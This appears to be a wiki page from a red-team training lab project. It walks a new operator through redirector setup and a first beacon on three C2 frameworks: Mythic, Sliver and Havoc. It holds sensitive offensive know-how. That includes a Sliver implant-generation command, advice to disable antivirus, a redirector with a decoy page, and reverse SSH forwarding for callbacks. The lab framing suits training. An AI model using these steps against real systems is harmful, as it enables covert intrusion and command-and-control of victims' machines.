Repository navigation
06. First Run
Home > First Run
Staged walkthrough for first-time operators after a successful Verify. Covers redirector setup through a confirmed first beacon on all three C2 frameworks. Individual component pages (Mythic, Sliver, Havoc, etc.) have the full technical deep-dives; this page tells you what order to do things in and why.
| At a glance | |
|---|---|
| Pre-req | Verify complete: Guacamole accessible, Windows reachable, all hosts ping cleanly |
| Active steps |
terraform apply ~10 min. Linux hosts and Guacamole ready shortly after. Windows RDP and Mythic UI need another 10-15 min to fully initialize. |
| End state | First beacon confirmed from Mythic, Sliver, and Havoc. Lab fully operational. |
| All access | Via Guacamole portal or MobaXterm sessions on the Windows host. No direct public SSH. |
Note
Open all SSH sessions in this walkthrough through the Guacamole portal (https://<GUAC_PUBLIC_IP>/guacamole) or the pre-configured MobaXterm bookmarks on the Windows operator workstation. The redirector accepts only HTTP/HTTPS on its public interface. No lab host exposes SSH publicly except Guacamole, which is the break-glass path for advanced users.
The redirector must be configured before agents can call back. Choose your track based on terraform.tfvars:
Use this track when redirector_domain is set to a real domain.
- Point your domain's A record at the redirector Elastic IP (printed in
deployment_info.txtunder APACHE REDIRECTOR). - Wait for DNS to propagate (
dig +short yourdomain.tldshould return the redirector EIP). - In Guacamole, open the Redirector (SSH) connection.
- Run Certbot to issue the TLS certificate:
sudo certbot --apache -d yourdomain.tld- Run the redirector test script to confirm all layers are healthy:
sudo /home/admin/test_redirector.shExpected: Apache active, VirtualHosts loaded, connectivity to Mythic / Sliver / Havoc backends, header validation working, decoy page returning for unauthenticated requests.
For full details on what each layer does, see Redirector.
Use this track when enable_vpn_tunnel = true and redirector_domain = "".
- Download your
.ovpnfile from your platform (HTB, VulnLab, Proving Grounds, etc.). - In Guacamole, open the Redirector (SSH) connection.
- Upload the
.ovpnfile via the Guacamole sidebar (Ctrl+Alt+Shift> Devices > upload), then move it:
mv ~/*.ovpn ~/vpn/- Start the VPN service:
sudo systemctl start vpn-tunnel
journalctl -u vpn-tunnel -fWait for "Initialization Sequence Completed." Then get the tun0 IP (this is your callback address for agents in Tunneled Access):
ip -4 addr show tun0 | grep -oP '(?<=inet\s)\d+(\.\d+)+'For full routing details and callback configuration per C2, see OpenVPN Tunnel Environments.
Havoc build (via Guacamole > Havoc (SSH)). Run this if you plan to use Havoc this session:
~/build_havoc.shThe script logs to ~/havoc_build.log. Once started, move on to Step 3. Skip this entirely if you are not using Havoc this session. The build downloads ~1 GB of data (Go toolchain, Havoc source, Go modules) and takes 15-25 minutes.
Kali tools (optional, via Guacamole > Kali (SSH)):
sudo install-kali-toolsInstalls the 21-package AD/enum lineup. Only needed if you plan to use Kali for enumeration work this session. Move on without waiting.
Warning
A Note on Local Antivirus: redStack does not generate production-grade evasive payloads. The agents it produces (Apollo, Sliver implants, Havoc demons) are not obfuscated by default and will be flagged by AV on real systems, which is expected.
The lab Windows workstation has Defender disabled by default so unobfuscated agents can run during training. However, if you transfer files from Guacamole to a local VM or personal machine, your local AV may flag them. Disable AV on any local test VM before importing lab-generated payloads.
Mythic ships pre-configured with the HTTP profile and Apollo agent. The redirector's X-Request-ID token is baked in at deploy time.
Access is from the Windows host browser only. Mythic has no public IP. The Mythic web UI (https://mythic:7443) is only reachable via the Windows operator's Chromium browser (hostname resolves via the Windows hosts file). Do not attempt to access it from your local laptop browser directly.
Steps:
- In Guacamole, open Windows (RDP).
- Open Chromium, navigate to
https://mythic:7443. - Login:
mythic_admin/ lab password fromdeployment_info.txt. - Confirm the
httpprofile shows Accepting Connections under Installed Services > C2 Profiles. - Click Create Payload and generate an Apollo agent. See Mythic > Initial Beacon for exact field values.
- Execute the downloaded payload on the Windows workstation.
- Confirm the callback appears under Active Callbacks in the Mythic UI.
Full walkthrough with exact configuration values: Mythic > Initial Beacon.
✅ Checkpoint: Mythic callback confirmed.
Sliver ships with a pre-generated admin.cfg operator config and the redstack C2 profile pre-installed. The X-Request-ID header value is baked into the profile.
Steps:
- In Guacamole (or MobaXterm from Windows), open the Sliver (SSH) connection.
- Launch the client:
sliver-client- Import the C2 profile and generate an implant:
profiles import /home/admin/redstack-c2-profile.json
generate --http https://<your-redirector-domain>/cloud/storage/objects/ --c2profile redstack --os windows --save /tmp/sliverTest.exe
For Tunneled Access, replace the callback URL with http://<tun0-ip>.
- Transfer the implant to the Windows workstation via Guacamole's sidebar file transfer (from the Sliver SSH session, copy to
/home/admin/, then use the GuacShare drive from the Windows RDP session to pull it across). - Execute the implant on Windows.
- Back in
sliver-client, runsessionsto confirm the callback.
Full walkthrough: Sliver > Initial Beacon.
✅ Checkpoint: Sliver session confirmed.
Confirm the build completed before proceeding:
ls /opt/Havoc/teamserver/teamserverIf the binary is missing, check ~/havoc_build.log and see Troubleshooting > Havoc Build Failed.
Steps:
- In Guacamole, open Havoc (SSH) and start the teamserver:
sudo systemctl start havoc
sudo systemctl status havoc- Open Havoc Desktop (VNC) in Guacamole. This is the XFCE4 desktop where the Katana GUI client runs.
- Launch the Havoc Katana client from the desktop icon. Connect with: host
127.0.0.1, port40056, useradmin, lab password. - Add a listener via the Havoc UI: View > Listeners > Add. Use the redirector domain/IP and port 443 (Direct Access) or the
tun0IP and port 80 (Tunneled Access). - Generate a demon payload from the Havoc UI: Attack > Payload. Use
Spawn64orSpawn32format for the Windows target. - Transfer the demon to the Windows workstation (same GuacShare method as Sliver).
- Execute the demon on Windows.
- Confirm the session appears in the Havoc Katana client.
Full walkthrough with exact field values: Havoc > Initial Beacon.
✅ Checkpoint: Havoc session confirmed.
All three beacons confirmed: Mythic callback, Sliver session, Havoc demon. The lab is fully operational.
From here, the individual component pages are your reference:
- Mythic, Sliver, Havoc: C2-specific operations and configuration
- Kali: AD enumeration tooling and port forwarding for callbacks through the redirector
- OpenVPN Tunnel Environments: HTB / VulnLab / Proving Grounds routing
- Redirector: Security model, log review, header validation details
- Troubleshooting: When something doesn't work
If you're planning to run enumeration or attack tools from Kali against Tunneled Access targets, the traffic path matters:
Kali sits in the Teamserver VPC alongside the C2 servers. In Tunneled Access (OpenVPN enabled), the VPC route table directs target-network traffic through the Guacamole ENI to the redirector's WireGuard tunnel, then out through the OpenVPN connection on tun0.
Tools like nmap, netexec, or impacket that target the configured external CIDRs route through this path automatically: no special configuration needed beyond having the VPN connected.
For callback paths (getting a Meterpreter or shell back from a target into Kali), the redirector's GatewayPorts clientspecified setting enables ssh -R '*:port:host:port' to publish a listener on the redirector's tun0 interface. See Kali > Port Forwarding for Callbacks for the exact syntax.
This is not a step-by-step lab guide; your specific targets and techniques will vary by platform and scenario.
← Previous: Verify | Next: Lab Inventory →
“The secret of getting ahead is getting started.”
Attributed to Mark Twain